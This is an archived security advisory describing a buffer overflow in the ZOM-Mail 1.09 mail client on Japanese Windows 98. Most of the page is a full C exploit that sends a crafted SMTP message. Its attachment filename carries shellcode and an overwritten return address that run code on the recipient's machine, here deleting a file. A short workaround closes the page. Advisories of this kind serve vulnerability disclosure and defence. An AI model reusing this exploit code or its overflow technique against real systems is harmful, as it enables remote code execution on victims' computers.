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TUCoPS :: Windows Net Apps :: zommai.htm

ZOM-Mail 1.09 Buffer Overflow Exploit



Vulnerability

    zom-mail

Affected

    Win98J with BTD STUDIO ZOM-MAIL 1.09

Description

    UNYUN  found  following.   Internet  Mailer  "ZOM-MAIL  1.09"  for
    Windows contains the buffer overflow bug.  If the long  attachment
    file name is  contained in the  recived mail, the  buffer overflow
    occurs when ZOM-MAIL pops such mail from pop server.  If  attacker
    sets the exploit in the  filename, user's host will be  cracked by
    the any instructions written in the filename area.

    Exploit:

        http://shadowpenguin.backsection.net/toolbox.html#no050

    This  exploit  removes  a  file  "c:\\windows\\test.txt".  This is
    tested on Windows98(Japanese)

    /*=============================================================================
       ZOM-MAIL 1.09 Exploit
       The Shadow Penguin Security (http://shadowpenguin.backsection.net)
       Written by UNYUN (shadowpenguin@backsection.net)
      =============================================================================
    */
    
    #include    <stdio.h>
    #include    <string.h>
    #include    <windows.h>
    #include    <winsock.h>
    
    #define     TARGET_FILE     "c:\\windows\\test.txt"
    #define     MAXBUF          3000
    #define     RETADR          768
    #define     JMPESP_ADR      0xbffca4f7
    #define     STACK_BYTES     32
    #define     SMTP_PORT       25
    
    #define     CONTENT \
    "Subject: [Warning!!] This is exploit test mail.\r\n"\
    "MIME-Version: 1.0\r\n"\
    "Content-Type: multipart/mixed; "\
    "boundary=\"U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\"\r\n"\
    "Content-Transfer-Encoding: 7bit\r\n"\
    "--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\r\n"\
    "Content-Type: image/gif; name=\"%s.gif\"\r\n"\
    "Content-Disposition: attachment;\r\n"\
    " filename=\"temp.gif\"\r\n"
    
    unsigned char exploit_code[200]={
    0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
    0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
    0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
    0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
    0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
    0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
    0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
    0xFF,0x00
    };
    unsigned char cmdbuf[200]="msvcrt.dll.remove.";
    
    void send_smtpcmd(SOCKET sock,char *cmd)
    {
        char    reply[MAXBUF];
        int     r;
        send(sock,cmd,strlen(cmd),0);
        r=recv(sock,reply,MAXBUF,0);
        reply[r]=0;
        printf("%-11s: %s\n",strtok(cmd,":"),reply);
    }
    main(int argc,char *argv[])
    {
        SOCKET               sock;
        SOCKADDR_IN          addr;
        WSADATA              wsa;
        WORD                 wVersionRequested;
        unsigned int         ip,p1,p2;
        char                 buf[MAXBUF],packetbuf[MAXBUF+1000];
        struct hostent       *hs;
    
        if (argc<3){
            printf("This exploit removes \"%s\" on the victim host",TARGET_FILE);
            printf("usage: %s SMTPserver Mailaddress\n",argv[0]);
            return -1;
        }
        wVersionRequested = MAKEWORD( 2, 0 );
        if (WSAStartup(wVersionRequested , &wsa)!=0){
            printf("Winsock Initialization failed.\n"); return -1;
        }
        if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
            printf("Can not create socket.\n"); return -1;
        }
        addr.sin_family     = AF_INET;
        addr.sin_port       = htons((u_short)SMTP_PORT);
        if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
                if ((hs=gethostbyname(argv[1]))==NULL){
                    printf("Can not resolve specified host.\n"); return -1;
                }
                addr.sin_family = hs->h_addrtype;
                memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }
        if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
            printf("Can not connect to specified host.\n"); return -1;
        }
        recv(sock,packetbuf,MAXBUF,0);
        printf("BANNER    : %s\n",packetbuf);
    
        send_smtpcmd(sock,"EHLO mail.attcker-host.net\r\n");
        send_smtpcmd(sock,"MAIL FROM: <attacker@attacker-host.net>\r\n");
        sprintf(packetbuf,"RCPT TO: <%s>\r\n",argv[2]);
        send_smtpcmd(sock,packetbuf);
        send_smtpcmd(sock,"DATA\r\n");
    
        memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
        ip=JMPESP_ADR;
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
    
        strcat(exploit_code,cmdbuf);
        strcat(exploit_code,TARGET_FILE);
        p1=(unsigned int)LoadLibrary;
        p2=(unsigned int)GetProcAddress;
        exploit_code[0x0d]=p1&0xff;
        exploit_code[0x0e]=(p1>>8)&0xff;
        exploit_code[0x0f]=(p1>>16)&0xff;
        exploit_code[0x10]=(p1>>24)&0xff;
        exploit_code[0x1e]=p2&0xff;
        exploit_code[0x1f]=(p2>>8)&0xff;
        exploit_code[0x20]=(p2>>16)&0xff;
        exploit_code[0x21]=(p2>>24)&0xff;
        exploit_code[0x2a]=strlen(TARGET_FILE);
        memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));
    
        sprintf(packetbuf,CONTENT,buf);
        send(sock,packetbuf,strlen(packetbuf),0);
        send_smtpcmd(sock,".\r\n");
        closesocket(sock);
        printf("Done.\n");
        return FALSE;
    }

Solution
    
    Before you pop your mail by ZOM-MAIL, you check your mail by using
    other mailer that don't contain same bug.


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